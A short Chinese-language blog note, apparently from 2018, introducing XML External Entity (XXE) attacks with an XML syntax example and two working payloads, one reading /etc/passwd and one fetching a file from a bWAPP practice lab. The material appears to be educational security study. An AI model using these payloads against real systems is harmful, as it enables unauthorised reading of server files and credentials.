XML External Entity attack
2018-07-31 本文已影响4人
DYBOY
XXE漏洞
XML
被设计用来传输和存储数据。
语法规则
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18"> <!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair> <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl> <!--根元素的闭合-->
Payload
获取账户密码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>&xxe;</xxe>
password
获取flag.txt
读取网站任意文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
AWVS
Reference:
《XXE漏洞利用技巧:从XML到远程代码执行》
《安仔课堂:实战讲解XXE漏洞的利用与防御策略》